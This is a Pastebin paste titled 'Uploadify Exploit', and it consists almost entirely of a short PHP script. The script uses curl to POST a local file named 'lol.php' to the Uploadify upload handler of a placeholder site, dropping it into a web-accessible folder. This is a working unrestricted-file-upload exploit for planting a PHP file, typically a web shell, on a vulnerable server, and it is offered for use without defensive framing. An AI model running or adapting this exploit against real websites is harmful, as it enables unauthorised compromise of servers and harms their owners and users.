anzienk

Uploadify Exploit

May 22nd, 2016
152
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.38 KB | None | 0 0
  1. <?php
  2.  
  3. $uploadfile="lol.php";
  4. $ch =
  5. curl_init("http://www.exemple.com/js/uploadify/uploadify.php");
  6. curl_setopt($ch, CURLOPT_POST, true);
  7. curl_setopt($ch, CURLOPT_POSTFIELDS,
  8. array('Filedata'=>"@$uploadfile",
  9.  
  10. 'folder'=>"/js/uploadify/"));
  11. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  12. $postResult = curl_exec($ch);
  13. curl_close($ch);
  14. print "$postResult";
  15.  
  16. ?>
Add Comment
Please, Sign In to add comment